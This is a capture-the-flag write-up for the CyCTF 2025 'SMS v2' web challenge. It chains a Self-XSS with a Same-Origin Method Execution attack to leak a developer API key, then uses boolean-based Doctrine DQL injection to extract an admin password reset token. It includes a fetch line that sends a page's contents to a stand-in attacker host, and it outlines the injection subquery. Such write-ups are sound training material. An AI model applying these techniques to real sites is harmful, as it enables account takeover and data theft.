Party Cat0%

SMSv2ChallengeWrite-Up(Web)-CyCTF25

Omar Mohamed
Thanks for sharing!

بِسْمِ اللَّهِ الرَّحْمَنِ الرَّحِيمِ

SMS v2 Challenge Write-Up (Web) - CyCTF 25
It’s Mushroom, Kalawy & Zonkor! Back with another write-up. This time we chain a Self-XSS into a SAME-ORIGIN Method Execution (SOME) to snag a developer account, then pivot with a DQL injection to fully own the admin on an SMS v2 target from the CyCTF 2025 Quals.
Download the challenge here

What is the SOME Attack?

SOME, or Same Origin Method/Function Execution, is a browser feature that allows a function hosted on a page to be executed from another, if and only if they're on the same origin. In other words, this allows a page to control another as long as they share the same origin. For example, if you have a page A that runs example.com and another one that runs example.com/info, if we can refer to page A in the code of page B somehow, we can execute A's functions from B.
Let’s explain it with an example, you have a page A that has this function:
If we can get a reference to page A from another page on the same origin (page B), we can call this Greeting function from page B.
One common way to create such a reference is by using window.open(). When page A opens page B using window.open('/PageB.html'), a parent-child relationship is established. Page B can then refer back to its opener, page A, using the window.opener property. This grants page B access to the functions on page A.
You can try this with the following example.
This concept was leveraged by researcher Ben Hayak to escalate limited JavaScript execution vulnerabilities (e.g. self xss) into more critical attacks, such as performing Cross-Site Request Forgery (CSRF) actions. You can learn more from his presentation in this video.
SOME Attack Presentation

Exploiting SOME

The SOME attack allows an attacker to execute privileged actions on a target website by leveraging a chain of vulnerabilities. Here is a typical attack scenario:
SOME Attack gif
  1. The attacker hosts a malicious HTML window.open("https://target.com/vulnerable"), on attacker.com (Page A) which opens a new window (Page B). Page B is vulnerable to XSS;
  2. Redirecting the current window (Page A) to another target page that has a critical function/information which belongs to the same origin as Page B window.location.href='https://target.com/critical_func';

Diving into the challenge

I won’t go deeply into the details of reviewing the code, but it’s obvious that we have a Self-XSS on dashboard.php due to the usage of raw Twig filter, which ignores HTML escaping of the input.
Until now, it’s a self-XSS; it won’t be useful without an escalation.
We have a bot that logs in as a developer, then visits the provided link. This developer has an /api/me.php endpoint that returns the API key, our first goal is to leak this api key using the escalated XSS. The only way to deliver our XSS is to force the developer to log in to our account, but like that.. how would we have access to the /api/me.php endpoint? This would change the logged-in user to us, not the developer.
So, what about if we load the critical data first, then CSRF the developer to log-in with our account therefor the XSS? Here is where the SOME came to the scene.

Exploitation of SOME in this challenge

SOME exploitation states that the XSS should be opened in the child window (Page B) and the critical method/function/data in the parent (Page A).
This rule can be switched, in case of the child window listens to postMessage, but I don’t wanna make it more complex, so it’s left for the user
Diagram
  1. Page A (parent) will open Page B (child) that holds the CSRF
  2. Page A (Parent) will redirect to /api/me.php using window.location.href='http://web:80/api/me.php'
  3. CSRF (in page B) should wait until the parent window (Page A) is loaded, so we should add at least 100ms delay to our CSRF.
  4. The CSRF is submitted, letting us access Page A (parent) and send its content (API Key) to our server fetch("http://attacker/leak?data="+btoa(window.opener.document.body.innerHTML).
This is the part of the solver (atatched the end) that handles these steps:
Now that we have the API key, we can move to the next step, which is using DQL Injection to extract the admin password reset token.

What even is DQL?

You need to know that the challenge uses Doctrine ORM (Object-Relational Mapper).
What it is: Doctrine is a library that maps your PHP objects directly to database tables. This User class is a Doctrine Entity, which acts as a blueprint for the users table in your database.
What is DQL: DQL (Doctrine Query Language) is the language you use to query these objects. Instead of writing raw SQL like SELECT * FROM users, you write object-oriented queries like SELECT u FROM App\Entity\User u. The User.php file defines the object that DQL queries will find, create, or update.

DQL Injection

We needed the API key to perform this step as the endpoint is protected.
In findFeedbackById(...) function in doctrine.php, there lies our injection point.
We can inject in the $id parameter directly, as it is concatenated into the DQL query without any sanitization.
The first thought that comes to mind is: Let's just insert a new user with an admin role, or even update ours! But it didn't work out.
After some research (With chatgpt research), found out that DQL parser expects a single statement type, single query, so we can't just terminate the current query with a semicolon (;) and add another one, it has to be a single query.
What can we do then? We can try to leak data! Like the admin password reset token. Decided to look up google and found this interesting research: DQL injection. Check the "Boolean Based" part:
This simply is utilizing subqueries to extract data character by character. If the sub query select 1 from App\Entity\User a where a.id=1 and substring(a.password,1,1)='$' returns true, the whole query will return true therefore we get some data, else we get empty result.
That's exactly what we did to extract the admin password reset token, character by character. The right payload in our case would be:
here substring(a.code,1,1)='a' checks if the first character of the admin reset token is 'a'. We loop through all possible characters, then the second one we change it to substring(a.code,2,1)='b' and so on.
Make sure to put at least one feedback in the database, else you will always get empty result.
And this wraps it! You extract the reset token, reset admin's password, log in as admin and get the flag from flag.php.

Here is a full version solver made by Kalawy that automates the whole process: Download here
SMS v2 Solver
Make sure to submit one feedback before running the script to avoid empty in the DQL injection step.
That's it for this write-up, hope you enjoyed it and learned something new! Go follow these amazing people if you haven't already: Kalawy & Zonkorany! (And follow me too hehe: MushroomWasp)

You might also like